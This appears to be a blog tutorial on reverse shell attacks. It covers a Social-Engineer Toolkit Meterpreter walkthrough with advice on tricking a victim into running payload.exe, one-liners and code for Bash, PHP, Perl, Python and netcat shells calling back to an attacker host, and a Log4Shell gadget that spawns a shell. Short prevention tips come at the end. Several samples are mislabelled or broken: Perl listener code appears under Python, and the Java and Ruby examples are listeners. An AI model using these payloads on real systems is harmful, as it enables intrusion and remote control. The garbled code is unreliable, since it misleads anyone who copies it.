In a traditional client-server environment, where users interact with machines that provide services, the roles of client and server are well-defined. The client initiates a connection to the server, which listens for incoming connections through designated ports. This conventional model ensures a controlled flow of communication, with the client requesting and the server responding.

However, in the realm of cybersecurity, adversaries continuously innovate to exploit vulnerabilities and breach security measures. One such technique, known as a reverse shell attack, ingeniously flips the client-server paradigm on its head. By manipulating this fundamental communication flow, attackers can compromise networks, exfiltrate sensitive data, and wreak havoc on unsuspecting victims.

To fully comprehend the intricacies of reverse shell attacks, it is crucial to delve into the mechanics behind this technique and understand how it can be leveraged to compromise even well-defended networks. In this article, we will embark on a comprehensive journey into the realm of reverse shells, walking through a step-by-step demonstration of how an attacker can exploit this vulnerability to compromise your network.

By gaining insight into the attacker’s perspective and methodology, we can strengthen our own defenses and proactively safeguard our networks against such malicious activities. So, fasten your virtual seatbelts as we unravel the mysteries of reverse shell attacks and equip ourselves with the knowledge to protect our digital assets.

Point To Cover

  • What is a Reverse Shell Attack?
  • How does a reverse shell attack happen?
  • Lab Environment
  • Setting up the reverse shell in Kali Linux
  • Victim or Clients Machine
  • Attacking Machine
  • Making a reverse shell connection
    • Listening for incoming connections using netcat
  • Reverse Shell Code Examples 
    • Bash Reverse Shell
    • PHP Reverse Shell
    • Java Reverse Shell
    • Perl Reverse Shell
    • Python Reverse Shell
    • Ruby Reverse Shell
    • Netcat Reverse Shell
  • Execute a reverse shell in Python Reverse Shell
  • Creating a reverse shell attack using a remote code execution vulnerability
  • Reverse Shell vs. Bind Shell
  • How to prevent reverse shell attacks

What is a Reverse Shell Attack?

A reverse shell attack is a type of cyber attack where an attacker gains unauthorized access to a target server or computer system and establishes a remote connection from the compromised system back to the attacker’s machine. Unlike traditional attacks, where the attacker connects directly to the victim’s system, in a reverse shell attack, the communication flow is reversed.

How does a reverse shell attack happen?

In most cases, a reverse shell attack happens when an application is vulnerable to a remote code execution vulnerability. An attacker uses such a vulnerability in an application to execute some code on the victim’s machine that initiates the shell session. Without knowing it, the victim creates a connection and the attacker only has to listen for incoming connections on the correct port. Once the connection is established, the attacker has shell access to the victim and does all sorts of exciting things.

Think of it like a tennis ball. If you throw it at something hard, it will come back at you. You only need to catch it at the right place and time. 

Figure 1 shows an attacker using SSH to connect to the Target machine. Since firewalls are configured to block incoming SSH connections, this connection is rejected at the firewall.

Figure 1: SSH Connection Initiated by the Attacker

Figure 2 shows the target computer using SSH to initiate a connection to the hacker’s machine. Since firewalls are configured to allow outgoing SSH connections, this connection is passed through the firewall. An attacker runs a server on their computer that waits for incoming SSH connections.

Figure 2: SSH Connection Initiated by the Target

In Figure 3, the target (1) begins a SSH shell connection(2) by clicking a maliscious link or executable. The firewall (3) allows the connection because outdoing SSH is allowed by default. The attacker (4) on a public IP address waits for an incoming SSH connections. The attacker starts the exploit by a reverse shell (5) allowing a direct connection to the target computer.

Figure 3: Reverse SSH Exploit

This vulnerability exists because the hacker only needs the user to click on a hacker supplied link or executable.

Lab Environment

There are a lot of ways to set up a reverse shell. In this example the Social-Engineer Toolkit (SET) provided with Kali Linux provides simple to use interface for setting up a reverse shell. SET is an open-source penetration testing framework designed for social engineering. SET has a number of custom attack vectors that allow you to make a believable attack quickly.

This is a simple demonstration using two computers. No additional software or tools are needed.

  • Kali Linux
  • Windows 7

Setting up the reverse shell in Kali Linux

Launch the Social-Engineer Toolkit from the Kali Menu or by typing setoolkit at the prompt.

# sudo setoolkit

Select Option #1Social-Engineering Attacks.

Select Option #4Create a Payload and Listener.

Select Option #2Windows Reverse_TCP Meterpreter.

Enter the IP address (LHOST) for the machine that is capturing the results of the attack. In our case, it is the Kali Linux machine. You can check your IP address by typing #hostname -I to find your IP address.

Choose a PORT. In our example, it is 4444.

Type yes to start the listener on 192.168.1.22:4444.

Setting up the exploit on the Kali Linux or attacking machine is done. SET starts metepreter/reverse_tcp, an exploit waiting for incoming connections on Port 4444.

Setting up the exploit on the Kali Linux or attacking computer is done. The script starts metepreter/reverse_tcp, an exploit waiting for incoming connections.

The next steps require the victim machine to click on the link we send them. However we get them the payload.exe file, either by email, ftp, file sharing, USB drive, or other downloadable link, we need them to run the executable to start the exploit.

Meterpreter creates the .exe file in /root/.set/payload.exe. Change to superuser and copy payload.exe file to your home directory.

# sudo -i
# cp /root/.set/payload.exe /home/kali

Victim or Clients Machine

Setting up the exploit is the easy part. Getting educated users to click on link or execute a file is the challenge. You can install the payload.exe on the victim’s computer via email, FTP, file transfer, web link, or USB drive. All you need is for them to execute the file by double-clicking on the payload.exe executable.

Our Windows 7 machine displays the payload.exe file on the desktop. Double-clicking or executing the .exe launches the connection to the server. Bypassing the firewall and any virus or malware protection you have on your network.

When the target clicks on the file, the exploit is complete. This exploit launches a remote connection to the attackers machine. In hacker terms, the system is Pwned.

Attacking Machine

Meanwhile, back on the attacker’s Kali machine, the remote console has been patiently waiting for somebody to connect to Port 4444.

After the victim executes the payload.exe file the connection between hacker and Windows 7 is complete. The last line in this screenshot shows the connection.

Type the sessions command to see what processes are running.

To escalate our session to run as a Windows user, type the sessions -i 1 command. If there are multiple sessions running, replace 1 with whatever process you want to capture.

Enter the sysinfo command to confirm OS and version numbers.

Change to a shell by typing the shell command.

At this point, you have control of the computer and can move freely through the operating system by using regular Windows shell commands like dir and cd.

Making a reverse shell connection

To create a reverse shell, you have multiple options depending on your language. However, before executing this reverse shell code, we need to make sure that we listen to the correct port for incoming connections.

Listening for incoming connections using netcat

A great tool to do this is netcat. Netcat (often abbreviated to nc) is a computer networking utility for reading from and writing to network connections using TCP or UDP. On the machine you want the reverse shell to connect to, you can use netcat to listen to incoming connections on a specific port. The example below shows how to make netcat listen to port 9001. Note that the v parameter is not strictly needed, but it gives me a nice verbose output.

1nc -lvp 9001

Reverse Shell Code Examples 

Here are some examples of reverse shell methods.

Bash Reverse Shell

Bash (short for Bourne Again SHell) is a Unix shell that is commonly used on Linux and other Unix-like operating systems. Here is a code example of a Bash reverse shell that can be used to establish a command shell on a remote machine:

  1. Start a listener on the attacker’s machine
nc -nlvp 4444
  1. On the target machine, use Bash to establish a connection back to the listener
bash -i >& /dev/tcp/attacker-ip/4444 0>&1

This code assumes that the attacker has started a listener on their machine using the nc (netcat) utility, which is listening on a specified port (in this case, 4444). The second line of code, which is executed on the target machine, uses Bash to open a connection back to the listener and establish a command shell. The bash -i command tells Bash to run in interactive mode, which allows the attacker to enter commands at the command prompt. The >& /dev/tcp/attacker-ip/4444 and 0>&1 arguments redirect the input and output of the Bash shell to the connection with the listener, effectively establishing a reverse shell.

PHP Reverse Shell

The attacker establishes a command shell on a remote machine by exploiting a vulnerability in the target system and using PHP, a server-side scripting language, to execute commands on the target machine:

<?php

    // Start a listener on the attacker's machine

    $sock=fsockopen("attacker-ip", 4444);

    exec("/bin/sh -i <&3 >&3 2>&3");

?>

The PHP code uses the fsockopen() function to open a connection to the listener and the exec() function to execute the /bin/sh shell and redirect its input, output, and error streams to the connection with the listener.

Java Reverse Shell

Here is an example of a reverse shell targeting a machine using Java

public class ReverseShell {

    public static void main(String[] args) {

        // Start a listener on the attacker's machine

        try (ServerSocket serverSocket = new ServerSocket(4444)) {

            // Wait for a connection from the target machine

            try (Socket clientSocket = serverSocket.accept()) {

                // Open an input and output stream to the target machine

                BufferedReader in = new BufferedReader(new InputStreamReader(clientSocket.getInputStream()));

                PrintWriter out = new PrintWriter(clientSocket.getOutputStream(), true);

                // Execute the command shell

                Process p = Runtime.getRuntime().exec("/bin/sh");

// Redirect the input, output, and error streams of the command shell to the connection

                new Thread(new SyncPipe(p.getErrorStream(), out)).start();

                new Thread(new SyncPipe(p.getInputStream(), out)).start();

                new Thread(new SyncPipe(in, p.getOutputStream())).start();

            }

        } catch (IOException e) {

            e.printStackTrace();

        }

    }

}

Perl Reverse Shell

Perl is another good candidate for a reverse shell on a web server:

perl -e 'use Socket;$i="10.10.17.1";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python Reverse Shell

Here is a code example of a python reverse shell that can be used to establish a command shell on a remote machine:

  1. Start a listener on the attacker’s machine
use IO::Socket;

$|=1;

$socket = new IO::Socket::INET (

    LocalHost => '0.0.0.0',

    LocalPort => '4444',

    Proto => 'tcp',

    Listen => 1,

    Reuse => 1

);
  1. Wait for a connection from the target machine
$new_socket = $socket->accept();
  1. Open a command shell on the target machine
system("/bin/sh -i <&3 >&3 2>&3");
  1. Close the connection
$new_socket->close();

Ruby Reverse Shell

Here is a code example of a Ruby reverse shell that can be used to establish a command shell on a remote machine:

  1. Start a listener on the attacker’s machine
require 'socket'

server = TCPServer.new(4444)
  1. Wait for a connection from the target machine
client = server.accept
  1. Open a command shell on the target machine
exec("/bin/sh -i <&3 >&3 2>&3")
  1. Close the connection
Client.close

Netcat Reverse Shell

Here is a code example of a NetCat reverse shell:

  1. Start a listener on the attacker’s machine
nc -nlvp 4444
  1. On the target machine, use NetCat to establish a connection back to the listener
nc -e /bin/sh attacker-ip 4444

Execute a reverse shell in Python Reverse Shell

To understand how a reverse shell works, we’ll examine a piece of code that can be used to establish a remote shell on Python:

import socket

import subprocess

import os

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect(("0.0.0.0", 7777))

os.dup2(s.fileno(), 0)

os.dup2(s.fileno(), 1)

os.dup2(s.fileno(), 2)

p = subprocess.call(["/bin/sh", "-i"])

Establishing a connection

These two lines are used to establish a connection to Python’s socket module. It creates a socket with an IPv4 address which communicates over TCP.

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

This line specifies which IP address and port the socket should listen on:

s.connect(("0.0.0.0", 7777))

Overwriting file descriptors

Python’s CLI uses three data streams to handle shell commands: stdin for input data, stdout for output data, and stderr for error messages. Internally these are designated as 0, 1, and 2.

The shell code now uses the dup2 command of the Python os module, which interacts with the operating system.

The following command takes the file descriptor generated by the previous socket command, and duplicates it three times, overwriting the data streams stdin, stdout, and stderr with the reverse shell socket we created. s.fileno() refers to the file descriptor of the socket.

os.dup2(s.fileno(), 0)

os.dup2(s.fileno(), 1)

os.dup2(s.fileno(), 2)

Once these commands run, the three data streams of the CLI are redirected to the new socket, and are no longer handled locally.

Spawning the shell

The final stage of the attack is to run the Python subprocess module. This allows the reverse shell to run a program as a subprocess of the socket. The subprocess. call command lets us pass any executable program. By passing /bin/sh, we run a Bash shell as a sub-process of the socket we created.

p = subprocess.call(["/bin/sh", "-i"])

At this point, the shell becomes interactive – any data written to the shell will be written to the terminal and read through the terminal as if it was the main system shell. It is now possible to establish a connection back to the attacker’s machine, and allow them to execute commands remotely on the target machine.

Creating a reverse shell attack using a remote code execution vulnerability

To create an actual attack with code examples like this, we need to leverage a code execution vulnerability and insert the code into an existing system. A great example is the Log4Shell vulnerability that was discovered in December 2021. It was possible to insert a gadget class that executed code when it was instantiated. Many of the examples showed how to launch the calculator or something harmless. Nevertheless, the code below would create a gadget for this infamous Log4j vulnerability. By exploiting Log4Shell now, you do not start up the calculator anymore but weaponize it into a reversed shell enabler.

1public class Evil implements ObjectFactory {
2
3   @Override
4   public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
5       String[] cmd = {
6               "/bin/bash",
7               "-c",
8               "exec 5<>/dev/tcp/127.0.0.1/9001;cat <&5 | while read line; do $line 2>&5 >&5; done" };
9
10       Runtime.getRuntime().exec(cmd);
11       return null;
12   }
13}

Almost all remote code executions can be used to enable a reverse shell attack. Other recent examples were Spring4Shell and the Apache Commons Configuration RCE. Both examples were not as problematic as Log4Shell, but you can use either to create a reverse shell attack and possibly control a target machine. Therefore, it’s essential to prevent that user input from (partially) being executed.

Reverse Shell vs. Bind Shell

Reverse shell and bind shell are two different methods used in network communications for establishing remote access to a compromised system. Here’s a comparison between reverse shell and bind shell:

Reverse Shell:

  1. Connection Initiation: In a reverse shell attack, the connection is initiated from the compromised system (victim) to the attacker’s machine. The compromised system acts as a client, connecting back to the attacker’s server.
  2. Firewall Bypass: Reverse shells can bypass certain network security measures, such as firewalls, because the outgoing connection from the compromised system may be allowed while incoming connections are blocked.
  3. Communication Flow: Once the reverse shell connection is established, the attacker has control over the compromised system and can execute commands on it remotely.
  4. Usage: Reverse shells are commonly used by attackers to bypass network defenses and gain control of compromised systems. They are often employed in scenarios where the attacker needs to evade detection or work around restrictive network configurations.

Bind Shell:

  1. Connection Initiation: In a bind shell attack, the attacker sets up a listener on the compromised system (victim) and waits for an incoming connection from the attacker’s machine. The compromised system acts as a server, waiting for the attacker’s connection.
  2. Firewall Restrictions: Bind shell connections can be blocked by firewalls since they require incoming connections to the compromised system, which may be restricted for security purposes.
  3. Communication Flow: Once the connection is established, the attacker gains control over the compromised system and can execute commands on it remotely, similar to a reverse shell.
  4. Usage: Bind shells are commonly used in scenarios where the attacker has control over the network infrastructure or firewall configurations, allowing them to bypass security measures and establish direct connections to compromised systems.

How to prevent reverse shell attacks

If we can prevent an attacker from executing code on your machine, we eliminate almost all possibilities of a reverse shell attack. Let’s look at some measures you can take to prevent malicious reverse shell attacks as a developer.

  • Remove execution statements. Statements in your code that can execute scripts or other pieces of code like exec() should be avoided as much as possible.
  • Sanitize and validate input. All input must be considered potentially malicious. This is not only direct user input. For instance, when a database field is the input of an execution, somebody can try to attack the database.
  • Run your application with limited privileges. Don’t run your application as root but create a user with the least privileges needed. This, unfortunately, happens a lot with applications in Docker containers as the default user in a Docker container is root.
  • Prevent vulnerabilities that enable remote code execution. If a library or framework is compromised, replace it with a secure version.

Almost all remote code executions can be used for a reverse shell attack, even if the use case looks far-fetched.

Shares:

Leave a Reply

Your email address will not be published. Required fields are marked *